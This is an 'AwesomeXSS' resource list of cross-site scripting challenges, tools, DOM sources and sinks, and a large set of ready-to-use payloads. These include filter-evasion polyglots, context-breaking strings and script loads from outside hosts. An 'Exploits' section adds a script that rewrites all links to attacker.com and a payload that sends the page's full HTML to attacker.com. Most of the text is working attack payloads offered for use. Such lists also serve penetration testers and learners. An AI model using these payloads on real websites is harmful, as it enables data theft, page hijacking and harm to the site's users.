AwesomeXSS

This repository is a collection of Awesome XSS resources. Contributions are welcome and should be submitted via an issue.

Awesome contents

• Challenges
• Reads & Presentations
• Tools
• Mind maps
• DOM XSS
• Payloads
• Polyglots
• Tags and event handlers
• Context breaking
  • HTML context
  • Attribute context
  • JavaScript context
• Confirm Variants
• Exploits
• Probing
• Bypassing
• Encoding
• Tips & tricks

Awesome Challenges

• prompt.ml
• alf.nu/alert1
• xss-game.appspot.com
• polyglot.innerht.ml
• sudo.co.il/xss
• root-me.org
• chefsecure.com
• wechall.net
• codelatte.id/labs/xss

Awesome Reads & Presentations

• Bypassing XSS Detection Mechanisms
• XSS in Facebook via PNG Content Type
• How I met your girlfriend
• How to Find 1,352 Wordpress XSS Plugin Vulnerabilities in one hour
• Blind XSS
• Copy Pest

Awesome Tools

• XSStrike
• BeEF
• JShell

Awesome XSS Mind Maps

A beautiful XSS mind map by Jack Masa, here

Awesome DOM XSS

• Does your input go into a sink? Vulnerable
• It doesn't? Not vulnerable

Source: An input that could be controlled by an external (untrusted) source.

document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage

Sink: A potentially dangerous method that could lead to a vulnerability. In this case a DOM Based XSS.

eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location

This comprehensive list of sinks and source is taken from domxsswiki.

Awesome Payloads

<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="https://github.com/s0md3v/awesomexss/blob/master/javascript%26colon%3Balert%281%29">click
<a href=javas&#99;ript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>

Awesome Polyglots

Here's an XSS polyglot that I made which can break out of 20+ contexts:

%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`

Explanation of how it works, here

Awesome Tags & Event Handlers

• 105 Event Handlers with description
• 200 Event Handlers without description

Some less detected event handlers

ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

Some HTML Tags that you will be using

img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video

Awesome Context Breaking

HTML Context

Case: <tag>You searched for $input. </tag>

<svg onload=alert()>
</tag><svg onload=alert()>

Attribute Context

Case: <tag attribute="$input">

"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()

JavaScript Context

Case: <script> var new something = '$input'; </script>

'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>

Awesome Confirm Variants

Yep, confirm because alert is too mainstream.

confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)

Awesome Exploits

Replace all links

Array.from(document.getElementsByTagName("a")).forEach(function(i) {
  i.href = "https://attacker.com";
});

Source Code Stealer

<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">

Awesome Probing

If nothing of this works, take a look at Awesome Bypassing section